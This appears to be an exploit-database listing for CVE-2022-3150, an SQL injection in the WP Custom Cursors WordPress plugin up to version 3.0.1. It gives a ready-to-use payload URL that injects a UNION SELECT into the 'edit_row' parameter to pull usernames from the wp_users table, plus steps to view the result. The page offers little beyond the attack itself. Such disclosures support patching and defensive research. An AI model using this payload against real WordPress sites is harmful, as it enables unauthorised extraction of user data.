Exploit for WP Custom Cursors <= 3.0.1 - Admin+ SQLi CVE-2022-3150

Name: Exploit for WP Custom Cursors <= 3.0.1 - Admin+ SQLi CVE-2022-3150
Rating: 5 (153 reviews)

2022-09-21 | CVSS 0.5

## https://sploitus.com/exploit?id=WPEX-ID:BB0806D7-21E3-4A65-910C-BF0625C338EC
As admin, open https://example.com/wp-admin/admin.php?page=wpcc_add_new&edit_row=-1+UNION+select+1,1,1,1,user_login,1,1,1,1,1,1,1,1,1,1,1+from+wp_users

Select “Text Cursor”, and the user's name will be in the input field